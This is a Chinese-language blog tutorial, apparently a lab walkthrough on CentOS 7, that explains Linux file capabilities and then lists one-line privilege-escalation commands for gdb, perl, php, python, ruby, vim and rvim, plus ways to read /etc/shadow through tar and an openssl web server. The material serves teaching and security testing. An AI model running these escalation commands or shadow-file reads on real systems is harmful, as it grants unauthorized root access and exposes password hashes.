c linux 获取cpuid_Linux系统利用可执行文件的Capability实现权限提升

本文介绍了Linux系统中如何利用Capabilities机制实现权限提升。详细讲述了如何通过getcap和setcap设置文件权限,以及如何通过gdb、perl、php、python、ruby、rvim、vim和tar等工具进行权限提升。还展示了openssl如何绕过权限检查读取敏感文件。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、操作目的和应用场景

1、 目的

在Linux系统中,利用可执行文件的capabilities实现权限提升。

2、 简介

Capabilities机制是在Linux内核2.2之后引入的,原理很简单,就是将之前与超级用户root(UID=0)关联的特权细分为不同的功能组,Capabilites作为线程(Linux并不真正区分进程和线程)的属性存在,每个功能组都可以独立启用和禁用。其本质上就是将内核调用分门别类,具有相似功能的内核调用被分到同一组中。

这样一来,权限检查的过程就变成了:在执行特权操作时,如果线程的有效身份不是root,就去检查其是否具有该特权操作所对应的capabilities,并以此为依据,决定是否可以执行特权操作。

二、平台及工具版本

host系统:kali linux 2020

虚拟机管理程序:virtualbox

虚拟机:CentOS 7

三、操作步骤

(一)Linux Capabilities管理

1、 Linux系统管理Capabilities的工具

Linux系统中主要提供了两种工具来管理capabilities:libcap和libcap-ng。

libcap提供了getcap和setcap两个命令来分别查看和设置文件的capabilities,同时还提供了capsh来查看当前shell进程的capabilities。

libcap-ng更易于使用,使用同一个命令filecap来查看和设置capabilities。

2、 Capabilities的管理方法

(1)设置Capability

举个例子,安装wireshark软件后,默认情况下,普通用户无法对网卡实施抓包操作。这是因为普通用户不具备相应的权限。

3e29846a56e73b7e16cda83f99c0d263.png

为解决此问题,可以为/usr/bin/dumpcap文件授予抓包相关的capabilities:

setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap  

dd5af085b3307e1783585662613f252b.png

命令执行后重新启动wireshark,就可以抓包了。

(2)查看文件的Capability

getcap /usr/bin/dumpcap  //查看文件的capabilities

9ec346e365bfe4ab84700fdb27df08bf.png

(3)删除文件的capabilities

setcap -r /usr/bin/dumpcap

2c5da63838098010eebf3545ed754ad1.png

(二)利用Capability实现权限提升

现在假设管理员对一些可执行文件设置了capabilities。测试人员通过下面的命令查找这些文件:

getcap -r / 2>/dev/null

5c77e705212a26b5899c44dace63b6bd.png

之后我们针对其中的一部分程序尝试提权。

从上面查找结果中可以看到,很多文件的capability被设置为cap_setuid。但是文件cap_setuid的capabilities和文件的suid标志位之间是没有关系的:

a96cb5976a29f7a4877b451f3f3b3889.png

设置了cap_setuid的capability的文件并没有设置suid。

188d75f3517b976a6abd3866054c5ed5.png

设置了suid的程序也不拥有cap_setuid的capability。

1、 gdb

gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit

91b5cc1866924ceafa540b13c6178e23.png

提权成功,获取了root shell。

2、 perl

perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

ec24b7fdb3fbaad8387ee066fe553f23.png

提权成功,获取了root shell。

3、 php

php -r "posix_setuid(0); system('/bin/sh');"

506002adad78b07e45590deddad2c037.png

在kali linux上提权成功,获取了root shell。

在CentOS 7系统中安装的低版本php无法提权:

0cd7ce5c559f30abd657577104800ba5.png

4、 python

python -c 'import os; os.setuid(0); os.system("/bin/sh")'

fbb459628b4bed2914c20a8e0c55bc26.png

提权成功,获取了root shell。

5、 ruby

ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'

5c791913060a10ccb97ee154bf9cf5e9.png

6、 rvim

rvim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

068ce5c7e33d78654a5fd163304f8a9c.png

执行后获取root shell:

45ebedb02e15c5ca14b7b7c955969ada.png

7、 vim

vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'

a0675010dfa9addeae21b13892c6859f.png

执行后获得root shell:

5c8ec3a492be681f9c0fb82a162fc33c.png

8、 tar

951fa5de1b84f6dd6bed5aa7513f7170.png

cap_dac_read_search可以绕过文件的读权限检查以及目录的读/执行权限的检查,利用此特性我们可以读取系统中的敏感信息。

tar cvf shadow.tar /etc/shadow  //绕过权限检查即可成功创建压缩文件

tar -xvf shadow.tar  //解压缩

cd etc  //进入解压缩的目录

chmod +r shadow  //赋予读权限

cat shadow | grep root  //查看shadow文件的内容

3d599560687e70d4da4776cfddcc86dd.png

这样就读取了/etc/shadow文件的内容,类似的还有zip等文件,过程不再赘述。

9、 openssl

setcap =ep /usr/bin/openssl

36d40c2fb685334f2a84c592dd148f43.png

可以看到,openssl的capability被设置为空。下面我们尝试使用openssl读取/etc/shadow文件。

//使用openssl生成证书

cd /tmp

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

//启动web服务器,监听1337端口

cd /

openssl s_server -key /tmp/key.pem -cert /tmp/cert.pem -port 1337 -HTTP

//访问本机的web服务,读取/etc/shadow文件

curl -k "https://127.0.0.1:1337/etc/shadow"

5e9d73644e280d8401cfd8ae7bbc8ca6.png

提权成功。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值